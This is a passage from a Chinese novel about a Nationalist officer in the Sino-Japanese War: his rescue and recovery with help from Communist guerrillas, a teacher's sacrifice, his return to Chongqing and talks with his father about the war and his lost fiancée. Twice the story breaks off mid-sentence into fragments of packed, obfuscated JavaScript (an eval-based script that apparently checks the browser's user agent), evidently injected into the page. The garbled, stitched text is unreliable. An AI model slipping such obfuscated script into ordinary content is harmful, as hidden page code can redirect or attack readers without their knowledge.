这是一个长长的隧道?不对,应该更像是在漆黑的海底,白光指引着海面,芸儿的哭喊声渐渐大起来,而且愈来愈清晰,似乎在引导我向白光进发,不知过了多久,我像一个溺水多时后终被拉上岸的人,无力的浮出海面。 耳边是一个陌生而又开心的女童声音:“醒啦!醒啦!叔醒啦!” 我吃力睁开眼,昏暗的油灯下,出现几个模糊的身影,有一人似乎相识,我努力想坐起,却觉得胸前一阵巨疼传来,眼前再度一黑,又陷入一片迷失中。 当我再度醒来时,眼前还是那昏暗的屋子,昏暗的油灯,看看周边,应该是一个密室,或是地下室或地窖之类的。 那个身影再度出现后,我认出那位是芸儿所在小学的同事,王老师。 接下来几天,我终于一点一点的开始恢复了。 我养伤地点是在一个农舍正房下的密室之中,大多时间是与油灯为伴。只有在确认安全的情况下,在正午时分,才会打开盖板,让阳光照射进来。屋子应该是相对比较独立或是附近没有什么邻居,至少我躺在密室里时很少听到周边有人走动的声音。 屋主是一个五十多岁的山东汉子,满脸的沧桑,平常不怎么说话;屋内并无女主人,那个女童是他唯一的闺女,十一二岁的样子,大大的眼睛,梳着两条长长的辫子,她爹叫她妮子。 养伤期间就是这对父女俩在照顾我,特别是那妮子,当我伤势渐好的时候就发现她特别能干,挑水劈柴、烧火做饭什么的自是不在话下,还有我的喂饭喝药什么的都是她。 妮子做事非常心细。在我醒来的时候,我发现枕边有个小布包,后来才知那里头有我的军官证。在我那段还不怎么能动弹的时候,妮子不时会讲一些趣事给我听,若见我情绪低落,则常会拿出军官证让我看芸儿的照片,给我不少心灵上的安慰。 我也因此时常梦见芸儿,只是那些梦好乱,好乱。我自知这其中不少是愧疚吧,但我的伤势渐渐的好转起来,这或多或少有爱情的力量? 从父女口中,我知道不少事情。 据说我活下来是个奇迹。 最后一刻,扑上来的那位战士帮我挡住了大部分弹片,坍塌的瓦砾让日军放弃了对我国军伤员的搜寻。 我是在十五日凌晨被搬运尸体的义庄之人发现的。听说其中一人表兄是外科医生,然后那医生又找了同事一起帮我做了手术。菏泽陷落后,他们见日军在城内烧杀抢掠、糟蹋妇女,抓到我军伤员更是横加屠戮;便硬是冒着巨大的危险,几经周折,甚至把我放到棺材里,搞假下葬,终于把我送出城。 但是我始终不知道他们是谁,甚至连姓什么都不知道,这将成为我一生的遗憾。 我被送出城后还昏迷了数天,期间一度被认为撑不住了,都到了要准备后事的地步,但幸运的是,我还是挺住了。 或许那就是我在梦里飘飞?是芸儿的呼唤?还是诸多不舍使我活了下来? 王老师真的是共产党,这个让我觉得既意外又合理。抗战爆发后他就回到了鲁西。可惜的是我同样不知道他真实的姓名,真实的籍贯。我只知道他是民国二十七年年初被派回家乡从事抗日工作,我的获救离不开他的帮忙。他在我养伤期间看望我数次,却因我的伤势而不能多聊。 让我不能忘却的,是六月十二日那个阴沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“林长官!嗨,我还是叫你之秋吧!之秋,你千万不能那样想啊。”王老师眼里透着诸多担心,“之秋,你应该算是死过一回的人了,你能活下来,真是一个奇迹。换一个角度来说,你在阎王爷那报到过,但为何阎王爷不收呢?之秋,我这样打比方或许不恰当,但你那么重的伤,听做手术的医生说,有一块弹片偏个2公分,就直插心脏了,你怎么就活下来呢?” “这得谢谢你们,谢谢那些医生,是你们救了之秋。” “不完全是我们。之秋,出城后你还昏迷了数天,高烧不退,我们手中的药又用完了,有那么一两次,我们都在准备后事了。算上你,我们一共救了3位重伤的国军官兵,但最终只有你活了下来,你觉得是为什么?” 为什么呢?我不由想起那些似梦一般的经历,还有芸儿的哭喊声。 “之秋,我觉得是救你的,正是你自己!是你的职责,是你的使命,感动了上天,上天让你活下来,难道不是让你以有用之身,为国家,为民族做更多的事情?难道不是让你以有用之身,和千千万万民众一起,站起来,拼下去,把小日本鬼子赶出中国去?” 我沉默许久,才渐渐认可王老师的说法。 “之秋,我曾听说洪老师和你是心心相印的,在你昏迷之时,我也看到你军官证里洪老师的相片。之秋,上天让你活下来,也是为了你们!你难道不想早点和洪老师在一起,幸福的生活在阳光蓝天之下?你难道愿意看到洪老师真的成为我们当初街头义演那样,背井离乡,颠沛流离么?以身报国很容易!但既然活下来,上天不就是要你去做更多的事,去杀更多的鬼子,让你为挚爱之中国,挚爱之亲人,挚爱之梦中人,再拼一把,再爱一回?” 王老师的话再度敲醒了我。 芸儿?我最爱的芸儿!之秋既然活下来,那就再拼一把,再爱一回! 王老师见我神色有所缓和,放心说道:“之秋,徐州会战已结束了。上月十五日,也就是菏泽陷落后,国军统帅部决定放弃徐州。十九日,徐州陷落。鬼子沿陇海铁路西进,于本月六日占领开封。” “那我鲁南60余万将士呢?” “成功突围了。从报上得知,第五战区司令长官李宗仁将军率长官部官兵一应人员700余人乘夜色经宿县、蒙城冲出敌之包围,移驻潢川;至五月底,国军将士大部已撤至皖西、豫南地区,鬼子得到的徐州,不过是一座空城而已!如今国军正组织兵力,保卫大武汉。” “这真是太好了!王老师,方便的话,速送之秋归队。” “之秋勿急,你现在的状况,只能勉强坐起,这伤起码还得养上三五个月,还要看恢复程度,更别说如何行军打仗了。你就安心修养吧。伤好了,我们一定送你归队!” 想想也只能如此了。 “那就拜托王老师了!之秋在此先行谢过!” “之秋客气了。对了,还有一事当告知:黄河决堤了!” 17.成功脱险 黄河决堤了? 这又是怎么回事?我多灾多难的中华呀! 王老师神色凝重,眼里分明有些泪花。 “从报上得知,3天前黄河从郑县花园口一带决堤。涛涛黄河水经中牟、尉氏、开封等地入颍河到安徽阜阳,由正阳关灌进淮河;一股自中牟顺涡河经通许、太康至安徽亳州,由怀远奔入淮河。河水所过之处,皆成一片汪洋。因是夜间决堤,百姓死难者数十万,三省难民估计有数百万。” “黄河怎么会决堤呢?难道是土肥原那个天杀的家伙?”我想起此前敌我态势,豫东和鲁西一带是日军14师团和16师团,兵峰西向的,当为14师团。 “这两天众说纷纭,黄河水也挡住鬼子西进南下之路。” “难道,难道?”我脑海里忽然跳出一个可怕的想法,让我不寒而栗。“难道是我们自己人干的?应该不会呀,第一战区司令长官程潜当不至此呀!或是下边人干的?” “这个不好说,此前第一战区欲围歼孤军冒进的土肥原,听说27军守兰封,一天便全线溃退,第八军守商丘弃城而逃,还有驻守开封的141师又是未加抵抗,弃城而逃。第一战区12万大军没有灭掉2万鬼子,真是千古笑柄!” “这些贪生怕死之徒!他们难道忘了淞沪?忘了台儿庄?藤县,蒙城,菏泽,那么多先烈,他们不学,他们不怕成为千古罪人么?” 那一刻,我基本上能确定黄河决堤是第一战区某些人干的,那些人能弃城而逃,自然能想到用黄河水阻挡日寇了。 但此事绝不简单!这个决定是谁做出的?高层怎能不知?这背后又有多少黑幕?我是不敢想了。 这时,一位青年农夫匆匆走下密室,神色紧张的说:“王老师,离村北大约五里外的路上发现有许多鬼子,由几个汉奸二鬼子带路,正杀奔过来。” 王老师一听便说:“不好!前几天这一带出现过陌生人,我们大意了!之秋,你养伤的事八成是暴露了。近期鬼子在四下搜索留下的国军伤员,还发悬赏、搞连坐;抓到国军伤员连收留的老百姓一块儿杀!你这得马上转移。” 我也有些紧张了,我自己倒是没什么,但若牵连冒死保护我的百姓,这怎么能行?可是我现在连路都走不了,又怎么转移?在我印象中,这一带都是平原,贸然转移,很容易被鬼子发现并包围,大家伙不是白白丢了性命? 我挣扎着想站起来,“王老师,你还是带着大伙撤吧,给我一把枪,我自个去会会鬼子。” 王老师急忙扶住我,坚定的说:“这怎么行,之秋,你听我安排就是。”说着说着他使了个眼色,那青年农夫二话不说就把我背上。 出了密室,又有四五人围上来了,两人手中握着枪,应该是游击队。 王老师掏出一只撸子,沉着的部署:“黑牛,二虎,现在来不及扎担架了。只有辛苦你们,轮流背着林长官转移;柱子,你负责掩护,千万要保护林长官脱险。老爹,这村子附近可有平常没人去、好暂时藏身的地方?” 老爹想了想说:“倒是有一处,往北走出了村口,再向西,不远处便是乱葬岗,那附近有一些水洼子,芦苇密得很,藏得住人,再过去就是一大片玉米地。” “往北走?乱葬岗?水洼子?”王老师眼中一亮,“对,就这招!” “我们兵分三路。柱子,你们几个立刻带着林长官躲到哪里去,小鬼子肯定想不到我们敢往北走!老爹,这路该怎么走?我们得抢在鬼子前头。” 妮子便跳了出来。“大,让俺来带路。那条路俺走过好多次了。” “成!王老师,就让妮子带路吧,这一带她也熟的。” “行!妮子,叔信你!柱子,你们脱险后,你去小王庄找顺义车马行的谷掌柜,告诉他有中药要送到南方,他便知道如何安排的。” “王老师,这个你放心!有俺柱子在,就是豁上性命也要完成任务。” “这回不是让你拼命,是要你们保得林长官安生!”王老师大声说着,然后转向老爹嘱咐着:“老爹,第二路由您带着,您赶紧领着村民往西南撤,别带东西,跑快点,能跑几个算几个,能跑多远是多远。这是怕鬼子发现上当了,回来祸害村子。” “成!”老爹想了想,“王老师,那这第三路?” 王老师笑了笑说:“我想好了,村东口那条大路显眼的很!老爹,借你那手推车一用,石头,辛苦你,待会麻烦你假装推着我,我们引开鬼子。” 我一听顿时明白了,王老师这是要用生命引开日寇了。“王老师!这事因我一人而起,你们还是领着村里百姓撤吧。” “之秋,什么都别说了!若不分头行动,大伙都得被鬼子围了!我们绝不能让抗日勇士落在鬼子手里。之秋,养好伤,多杀几个鬼子!” 妮子便立刻领着我们向乱葬岗转移。我扭过头,看着王老师两人向村东头走去,泪水再度迷糊了我的眼。 我们到了那水洼子藏好没多久,就远远的看见一队鬼子从路上跑过。 待鬼子过去后,栓子他们立刻带着我穿过一片玉米地,往西北方向狂奔,不久之后,村东大路方向传来此起彼伏的枪声,而且越来越远,后边枪声停了一会儿,我们正揪心的时候,又听得“轰”的一声,然后一切沉寂下来。 我们都明白发生什么了,我想说什么,嗓子却被堵上了一般,说不出话来。我们一行四人擎着泪水,默默的继续赶路。 当天夜里,柱子联系上了那位谷掌柜,我被安置到另一处养伤。 数日后,我从谷掌柜那儿知道事情的因果:我转移到小镇之时被一个地痞撞见了,他看见躺在大车上的我和行进方向,后来他也不知从哪儿听说救了一个国军军官,鬼子一悬赏他就告了密,这地痞最终被锄奸队杀死。 王老师在最后时刻引爆了手榴弹,和数名鬼子同归于尽。后来鬼子在现场找到一本大部分已烧毁的军官证,以为王老师就是那养伤的军官,王老师居然早就做了准备! 鬼子后边真的杀回了村子,因为有王老师的及时布置,大多数村民逃过一劫;鬼子见人几乎跑光了,杀了几位不愿走或走不动的老人,烧了不少房子泄愤后走了。 这让我很长一段时间有深深的负罪感,无论谷掌柜如何安慰,都不能释怀。我知道,我真要好好养伤,多杀几个鬼子,非如此不能报救命之恩了,非如此不能当起革命军人。 直到多年以后,我还会想起那个阴沉的早间,想起王老师。 我们此前交集不多,真正说上话的无非就两次;我们党派不同,政见不同,但在抗战大旗下,他却为了救我、救百姓而宁愿牺牲自己。他很普通,走入人群中很快就寻不见,但他的面容,却深深刻在我的心里。我知道,他铮铮铁骨,他舍身取义,他和千千万万为国牺牲者一样,无愧于中华民族的脊梁。 或是因紧急转移路途颠簸,本应躺床的我被人背着跑了十几里的路,伤势一度加重,幸运的是,我又一次闯过了鬼门关。 因汉奸告密,谷掌柜的上线在我们转移的次日被敌围追,激战中血洒街头。 由于是单线联系的,谷掌柜一度失去了和组织的联系,加上日、伪军和汉奸活动频繁,情况异常复杂,谷掌柜只能暂时蛰伏,再伺机寻找组织,我也只能继续秘密养伤。 听谷掌柜说王老师曾将我养伤一事向上级汇报,但这消息是否传到国军?23师还是有部分将士突围出去,这其中是否有明远?若有明远,他或许目睹那栋小楼被日军坦克轰塌,那样我就会被列入阵亡将士名单。即使国军相关部门后边收到王老师的消息,但随着王老师牺牲,我们这又失去了联系,可想而知,国军那多半会认为我已殉国。我的诀别书应该早到家中,也许这会儿国民政府的荣哀状也到了。 如果是那样,父母不知会如何悲伤?父亲见多了生死,或许还好;但我在母亲眼里始终是那个最小的长不大的孩子,该不会终日以泪洗面吧? 还有芸儿那边,她们随军撤离了吗?芸儿若听到我“殉国”的消息,不知心情如何?这么多天了,是否已平复,还是什么?好几次梦里相见,大多是芸儿忍着悲痛拼命般的救护伤员,唯有一次梦里和芸儿说上话,却是战前的场景。 那些日子真是度日如年,我常恨伤势恢复太慢;常恨不能化身为鸟,或是一缕清风,飞到汉口,飞到芸儿身旁,去报个平安...... 谷掌柜和栓子倒是不时来看我,不断给我打气,也带来了不少消息: 十月十日,国军在赣北地区取得万家岭大捷,歼敌1万余人。 二十一日,广州失守 二十七日,日军占领汉阳,武汉失守。 那个十月战事的变化,让我的心情一下到了波峰,然后又深深跌入谷底。 在我所熟悉的国防战略中,依照蒋百里将军的《国防论》和陈诚长官的战略构想,华北战事一开,中国首先要主动地实施全面抗战,要粉碎日军蚕食计划,化日军后方为前方,使其无暇消化占领区、利用占领区提高战力;其次通过主动出击上海,诱导日军沿长江而上,利用沿江山地与湖沼,抵消日军兵器火力及训练方面的优势,从而避免日军主力沿平汉线南下直下华中、华南;第三是将日军拖入中国地理第二棱线,即湖南、四川交界处,和日军进行相持决战,通过时间消耗拖垮日本。 过去一年多,国军确实成功将日军进攻方向变为沿江而上,但让我没想到的是,广州、武汉这么快就失守,其中或许有不计较一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我接过鸡腿,有些纳闷:“吃了鸡腿就想啥有啥,我想回国军,可以么?”我忽然想到什么,莫非是?我不敢多想,眼睛直直的盯着谷掌柜,生怕错过什么似的。 谷掌柜点了点头,坚定的说:“中药可以送往南方了,俺没辜负王老师!” 我顿时呆住了,泪水就情不自禁的涌出来。 我终于可以回去了!我终于可以再上沙场了!我终于可以为挚爱之中国,挚爱之亲人,挚爱之梦中人,好生再拼一把,再爱一回了! 父亲,母亲,芸儿,我要回来了! “秋哥,您咋哭了呢?”柱子也有些呆住了。 “他这是激动的。”谷掌柜眼里也含着泪,“不容易啊!我们这断线风筝,今儿个又连上线了。” “是的,我们又连上线了!秋哥,我们队伍来了!听线上的人说,我们八路正向微山湖西边过来呐!听说是115师的685团!” 八路?是十八集团军吧。115师?平型关大捷那支部队?师长□□还是黄埔四期,年初在洛阳会议上曾被委员长当众表扬过。 “来,吃鸡,吃鸡!”谷掌柜激动的说,“俺本想弄些酒来,又怕误事!之秋您放心!俺已将您的事和上头说了,您再等上几天,就能送您回去的。” “老谷!我知道你们的!没有酒,没事!谢谢,谢谢!”我拿起鸡腿,含着泪水大口大口吃起来,真香啊! 多年后回想起来,我那一刻真是太激动了。 “秋哥,这几个月下来,俺知道您是个真汉子,重情义,俺们可真有些舍不得您!” “柱子你瞎说啥?瞎说啥?”谷掌柜做势要敲打柱子,“你秋哥是大才,搞作战那个啥,就是要打哪儿、怎么打的--” 柱子立刻接上了:“老谷,那个叫方案。” “俺知道,作战方案!那是大几千到好几万人的,回去作用大!再说,你不是说想早些吃上你秋哥的喜酒么?” 谷掌柜一席话把我心里说得暖暖的。“老谷,柱子!等赶走鬼子,之秋一定请上两位,一定会带上洪老师给两位兄弟敬酒!”说着说着,我眼前又浮现出芸儿的笑脸了。 “那感情好!咱这就说定啦!” 谷掌柜想起了什么,急忙擦了擦手,小心翼翼的从怀里掏出一本书来,“之秋你看,我这回还给你带回一本书呐。” 我有些好奇,先把手擦干净了,接过来一看,从未见过,《论持久战》? “是嘞!这是毛主席写的,听上头说,你们白长官也让国军军官读呐,金贵得很!” 原来是□□先生写的,难怪没见过!白长官就是白崇禧了,连他也推荐?这本书我真得好好读读。 谷掌柜他们走后,我一口气把《论持久战》全书读了下来,记得那是一本五万余字的书,我当晚就读了两遍! 近一个月苦闷居然一扫而空,从战略的高度,我看到了胜利的希望。 那晚我睡得好香。 我第一次梦见芸儿身披婚纱,笑盈盈的向我跑来。 我们举办了盛大的婚礼。 当交换完戒指后,芸儿甜甜对着我说:“之秋,这一步,我们走过来了。” 18.重庆家话 几经辗转,我于民国二十八年三月初重新归队。 国民政府早已迁往重庆。 我的归队,在处里是个小震动。 菏泽一战,明远随师部突出重围。他那日目睹了小楼被日军坦克轰塌,且此后小楼那儿再无战斗,便和所有参战人员一道,认为小楼上全体官兵已经殉国。 虽然此后有消息传回,疑似部分国军官兵战后受伤被救,但后面就再无明确的消息,也无法确定真伪,我的荣哀状是在去年六月中旬到了汉口家中,此后我父母亲撤往重庆。 我“起死回生”变成了同事们眼中的英雄,处长先到我家登门报喜,再来湖北亲发嘉奖。而此后不久,我就地参加了第五战区组织的随枣会战。 在那些日子里,我也得到确切的消息:张薇她们随第五战区参加了徐州突围,随后参加了武汉会战,武汉沦陷后张薇已撤往重庆。 这对我来说真是天大的喜讯,梦芸若和张薇一同撤离,找到张薇就能找到梦芸,那也就是说,我有可能在重庆实现一家团聚,而且是带上梦芸? 每每想到这个可能,我便会莫名的兴奋。 到了六月底,听说张薇等人在为苏联援华志愿航空队提供医疗服务。 后经多方打听,中方服务人员中并没有梦芸的名字。这是怎么回事?梦芸去了哪儿?难道她没到重庆?好不容易联系上张薇,从回信中得知梦芸是在二月下旬离开重庆的,她给张薇留下一封信,只说是去寻我。 张薇知道我生还是七月中的事,梦芸为何二月份就离开?而且具体方向不明?从张薇信中得知,春节前曾听梦芸说有人在湖南一带见到一酷似我之军官,梦芸该不会是因此而踏上漫漫寻人之旅?可那时我在湖北呀! 听说这一切后我几乎抓狂了。我一度好想回重庆,找张薇问个明白;又想前往湖南去找寻,可是我又怎能私自离队去寻人?此时梦芸已离开重庆半年有余,若去湖南,她走哪条路线?如今到了哪里?是到了长沙,还是哪个城市? 持续不断的战事,使我寻找梦芸的努力再度中断。 九月一日,德军闪击波兰,欧战爆发。 十月十日,军事委员会军令部制订了《国军冬季攻势作战计划》,十月底,冬季攻势开始,全国约71个师投入总反攻。我参加了第五战区组织的在武汉周围冬季反攻。我们从日寇手中夺回了王家岭、汪家河等坚固据点,破坏了大量日军军事设施以及铁路沿线,沉重打击了日军第3师团、第13师团。 其他战区,十八集团军于十一月在黄土岭设伏击毙日军中将阿部规秀。第五军十二月取得昆仑关大捷,歼灭敌第21旅团5千余人,击毙了日军少将旅团长中村正雄,而我所惦记的湖南方向,第九战区组织了长沙会战,至十月中旬,毙、伤日军3万余,已迫使日军恢复到战前态势。 那些日子,我是不时的揪心。芸儿呀!你怎么就只身去了湖南?知道你忘不了之秋,你居然为一个不确定的消息,就在这战火连天的日子里去寻之秋,这其中你吃了多少苦?又受了多少累?你可遇上了长沙会战?如今会战结束,你在哪里?你现在好吗?可是瘦了?累了?病了?或伤了?你又遇到了谁?经历了什么事?之秋对不起你呀!之秋也好想去寻你!可之秋却身不由己! 多少次梦里有你,可泱泱中华,茫茫人海,你在哪里? 民国二十九年五月,枣宜会战结束后,我奉命调回重庆。 到达重庆那天是五月二十八日,一个让我永生难忘的日子。 33集团军总司令张自忠上将的灵柩于当日抵达重庆储奇门码头。长江两岸,香案不断,哭声整天。委员长亲率军政大员臂缠黑纱,肃立迎灵,登船后抚棺大恸,扶灵执绋,亲题挽词;在场者无不动容。将军遗骸国葬于重庆雨台山。 我记得那日,冯玉祥将军写的一首诗掉亡诗在好些百姓口中传唱:画眉鸟,满山叫。像什么?哭又笑。哭何人?哭荩忱(张将军字荩忱),笑什么?笑混人。荩忱精忠为国报一死,混人愚昧卑怯自沉沦! 当天傍晚,我回到了重庆李子坝附近的新家。 母亲见我回来,便一把抱住我放声大哭,父亲在一旁劝了良久方才作罢。 晚餐后,父亲唤我到书房。 待父子俩坐下后,父亲说送我两个礼物,掀开罩巾一看,居然一份是我的荣哀状,一份是我的诀别书,都用玻璃镜框仔细装着。我见了自是激动万分,就给父亲跪下了。 “父亲,孩儿不孝,让您和母亲担心受怕了!” “秋儿快快起来!”父亲眼里含着泪花,急忙把我扶起。待重新入座后,父亲用赞赏的眼光看着我说:“林家有你此等忠孝之人,为父高兴还来不及。那日收到你的荣哀状,全家上下虽悲痛万分,但为父心中一片坦然!你们四姐弟当中,唯你一人从军,深陷死地之时,却临危不惧,决死报国,其心可鉴!上可对列祖列宗,下不辱家门家风,为父有儿如此,幸甚矣!” “父亲!”我听了激动的有些说不出话来了。“孩儿谨遵父亲教诲,倭寇一日不除,孩儿拼杀不止!” “好!此心可嘉!话说回来,军令部调你回重庆,秋儿可知原委?” “这个孩儿不知,从淞沪到鲁西,再到日前枣宜,数场血战下来,孩儿恨不能亲手多杀几个倭寇!如今第五战区尤其是33集团军上下,欲为张将军报仇者大有人在,孩儿也亦如此,却不知何故调回重庆?” 那一刻,我心中暗想其中或有父亲之力? 父亲却似一眼看穿我的想法,淡然的说:“吾儿已是为国死过一回之人,再死一回又又何妨?若学荩忱为国拼杀,虽死不退也亦无不可!今日为荩忱国葬,你们那位委员长做得不错!为父虽然和他政见有所不同,但还是钦佩他坚持抗战的!不似那个汪兆铭,辜负先总理所托,搞什么伪政府,做日本人的走狗!” 父亲毕竟是当年追随过中山先生的,对其言谈我们姐弟几人早已习惯了。 “秋儿,为父听说菏泽救你之人中有共产党?” “确有其事!” 当我将王老师和谷掌柜之事告知父亲后,他沉默了许久,然后由衷的赞叹道:“以民族大义为重,是真汉子!早年在广州,为父也结识他们当中一些人;彼时全国上下,风起云涌,形势甚好!可惜北伐一半就搞清党,自此内战不断。若当年继续执行中山先生三大政策,中国就少好几年战祸,也不会任由日寇蚕食,如今兄弟阋墙,共御外虏,倒是让人看到一些希望!” 父亲才说完便觉得有些跑题,有些自嘲的说:“人老了,思路不甚此前了,扯远了。秋儿,为父问你,要打赢战争,拼得是什么?” “孩儿还请父亲指点。” “秋儿,打仗不全靠拼杀,为了打赢,还要拼经济!拼后勤!” 我忽然明白了什么,小心问道:“父亲说的可是滇缅公路?” 父亲投来赞许的目光。“秋儿也想到了?看来此前在参谋本部历练没有白搭。你且说来听听。” “日本去年自诺门罕一战惨败之后,面对强大的苏军,北进已无可能。他们要搞大东亚共荣想要击败中国,就必须破坏我们的经济,阻碍我们的出口,切断援华通道,而目前最重要的出口和援华通道,就是滇缅公路!” “秋儿看得是!美国国会已修订了《中立法案》,准许我国购买军用物资,日前滇缅公路月运入的军用物资已暴涨至1万吨。如果你是日寇,你会放任不管?他们已占了南宁,有消息说他们会趁法国兵败无暇东顾,出兵越南,滇越铁路随时可能被切断!日本要实现所谓的大东亚共荣,就必须南下,拿下整个中南半岛、印尼、菲律宾一线,甚至西进印度!” “父亲!”我听了不由一声惊呼。“这么说来,日本将和英美相撞?” “秋儿你说呢?如今欧战方面,德军已横扫西欧,英法联军已退至敦刻尔克一带,目前消息是正撤往英国,法国战败只是时间问题!但是大洋彼岸还有一个美国!” 父亲顿了顿,喝了一口茶水,继续说道:“你三哥从美国传回来的消息,美国即将对英国进行援助,他们不会坐视英国人被打垮的,美国人会到处卖军火。但总有一天,他们也会掉进战争的!如今日本已深陷战争泥潭,经济面临崩溃,他们不想南方的资源和石油吗?在德国连连取胜的刺激下,谁知他们不会作出些疯狂举动?有消息说德日两国意欲结盟,日本大本营已编制南下方案!依为父所见,少则一两年,迟不过三年,日本和英美必有一战!若日美开战,凭美国之实力,对于我中国定是好事,甚至借此与美联盟,翻盘亦有可能!” 我有些激动了:“若英国、苏联拖住德国,美国参战对付日本,中国胜算倍增!”看着父亲矍铄的面容,我心中钦佩之情油然而生。 父亲不问政事多年,但门生故旧甚多,消息自是灵通;他虽已年过七旬,思路却还是如此清晰,看问题比我们透彻。 “秋儿能看到这点,为父甚为欣慰!问题是中国要独自撑到美国参战啊!” “父亲的意思是要未雨绸缪?” “正是如此,听说军令部除计划收复南宁之外,已着手滇缅公路防卫计划了。若时局有变,甚至可能要出国作战。” “父亲明鉴!可孩儿觉得当下之急,还是多打几场胜仗,以振国人士气。” 我当时就想,既然日本和英美一战将在一两年内发生,还是先解决眼下难题为上,比如南宁?可我这想法又被父亲看透了。 “秋儿是觉得不如前线杀敌?自去年十月国军冬季反攻到日前的枣宜会战,你 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“父亲,确有此事。孩儿与那位洪小姐是真心相爱的。” 父亲既然连梦芸的姓都知道了,这事自然得实话实说了。 于是我便把和梦芸从如何相识相恋,到因战事失散包括听说梦芸去寻我之事都简要的说了。 父亲听了,沉默许久后再次问道:“可有相片?” 我便急忙取出梦芸的照片递了过去。 父亲摘下眼镜,接过相片细细的看了几眼,点了点头,笑着说:“不错不错,秋儿的眼光还是不错的。” 说实在的,当父亲看梦芸照片时,我心里自是忐忑不安,双眼直直的看着父亲,生怕漏过什么表情;后见父亲点头称赞,心中那块巨石才落了下来。 父亲把照片还我,见我小心收起后,却发出一声长叹:“只怕是孽缘啊!” 我听了自是一惊,然后就觉心头一阵狂跳。 “父亲!您这是?” 我发觉自己的声音都有些颤抖了。 “秋儿,此事你可曾向你母亲说起?” “此事孩儿还未曾向母亲禀明。” “秋儿,你母亲曾说起她是看好张薇那个丫头的,毕竟我们两家走得近,你们自幼玩在一起,说是青梅竹马也不为过。那日她专程把你诀别书送来,我们看她也是悲疼欲绝的样子。” “父亲!感情这事可不能勉强啊,孩儿对于张薇,一直是把她当哥们看的。她也知孩儿爱的是梦芸。” “此事为父知晓。看秋儿此时,颇有为父年少之样子。” “父亲!”我一时有些迷糊了,父亲这是支持还是不支持呢? “为父年少时也曾喜欢过一女子,可最终还是娶了你母亲。如今是民国,家里自不会干涉。但如秋儿所说,那洪小姐能去湖南一带寻你,可见也是真心;你俩若能走到一起,那才是真真的缘分。可如今战火四起,你又肩负责任,为父是担心你们呀!” “父亲说的是,孩儿还是知分寸的!洪小姐那,孩儿自会设法寻。孩儿已请大姐和二哥帮忙,抗战终有胜利之日,相信我们终会走到一起的。” 一时间我顿觉心情好好,父亲不反对,就是对我最大的支持了。 “秋儿知晓便好!为父在你这个年龄,已有你大姐和二哥了。如今你姐弟四人,唯有你还是单身。你二哥膝下是两个女儿,你三哥倒是有儿子,他们一家却在美国,如今想见一面却难如登天!为父如今已是古稀之人,身体大不如前,自然是希望早些看到你成家立业,最好能有个孙儿抱抱,为父和你母亲便也安心了。” 听父亲这么一说,我眼泪都快掉下来了。 “父亲,孩儿不孝啊!” “好啦好啦,秋儿不必如此。为父只是随口一说,你敢爱敢恨,不失男儿本色。你若寻得洪小姐,为父自会和你母亲说去;可若寻不得,你也得多考虑一下你母亲感受。”父亲最后停顿了片刻,语重深长看着我说:“为父看着你们姐弟成长,甚是欣慰;为父相信,我们林家子孙,国事,家事,定能妥当处理的。” “父亲,孩儿明白,孩儿定会竭尽全力,不辱家门的!” 从父亲书房出来后,我是又喜又忧。 芸儿,你知道吗?父亲已默许之秋和你在一起了。芸儿,你是之秋的念想,是之秋的童话,你会一直住在之秋心里,直到世界的尽头。之秋此生也许会遇到好多人,但芸儿却只有一个!之秋恨不得此时战事结束,便可满世界寻你去! 芸儿,你要好好的!之秋相信,一定能等到那一天! 这颗心,就如那海边高塔上之灯火, 在无尽的黑夜里, 等着你的 归航。 19.分别往事 六月九日,端午前一天,恰逢周日。 那个阴沉的午后,张薇来访。 母亲把张薇带进我的书房,待母亲走后,张薇再也控制不住内心的激动,紧紧抱着我,无声的哭了起来。 “薇薇,别这样,让人撞见了,多不好。” “我不管!就是不管!”张薇说着,哭得更伤心了。 “薇薇,别哭了,你看,我不是好好的回来啦?” “还好好的?我怎么听说某人身上有八处伤疤?而且最危险一处,居然紧挨着心脏!之秋,你知道吗?那日送走你后,我是多么的担心?我生怕你这一去,就再也不回来了!如果是那样,我不但送走了幼时最后一个玩伴,还伤了一个好朋友的心!我永远都不会原谅自己!” 我听了一时也是百感交集,也只能好言安慰,直到张薇心情平复下来,在她的细述中,我知道后来发生的事。 那日在我走后几分钟,梦芸按正常上班时间回到医院。 张薇看她心情相当不好,便把梦芸叫进了办公室。 梦芸脸色苍白的进入办公室,她只知道我已离开医院。 张薇那时虽然一度非常纠结,毕竟被梦芸撞见,想想一时也解释不清楚;所以最终决定还是按照和我的约定,先保守那个秘密吧。张薇说她唯一的期盼,就是鲁西不过是场虚惊,只要我能平安回来,她就可以拿出我的诀别书和梦芸解释清楚了。 可是万一我若真回不来呢?张薇不敢想也不愿去想,那就走一步算一步了。她很想说些什么,可是就不知该从何说起。 她们两个人就默默的站着。 最终还是梦芸强忍着心里的痛苦,开口先问:“张军医,刚才发生的事情,您,能给说说么?” “梦芸,我觉得没什么好说的。我们是姐妹,不是么?” “我们是姐妹?张军医,我们真是好姐妹!我知道您和之秋打小就玩在一起,感情自是不错的。” “梦芸,你要相信我!我和之秋,真是如同哥们一般的。” “张军医,您就别骗梦芸了!刚才,梦芸什么都看见了。”梦芸说着说着,眼泪都快掉下来了。“而且,而且昨天下午,好多人都说您的男朋友来看您了。” “梦芸,那真是是个误会。” “张军医,梦芸实在无法想像那是一个什么样的误会,梦芸一直把您当成姐姐来看的。可没想到——” 张薇终于狠下心来:“梦芸!我张薇是什么样的人,你不清楚吗?我没有作出任何对不起你的事情!你信也罢,不信也罢,但是我想告诉你,你所看到的,未必如你所想的!时间会证明一切的!” “时间会证明一切?张军医,薇姐,这就是您要告诉我的答案?” “我只能告诉你这么多了。有问题,你可以自个问之秋去!” 张薇说着说着,眼泪就快掉下来了,她急忙转过身去,看着窗外,口中喃喃的说:“等之秋回来,他自会和你说清楚的。” “张军医,您让我找之秋去?让他和我说清楚,您是要让之秋做选择吗?” “梦芸,我不是那个意思!你真的误会了!” “我明白您的意思了。”梦芸注意到桌上那个饭盒和烧饼,打开一看,面含苦涩的说道:“之秋他没吃!一口都没有!” 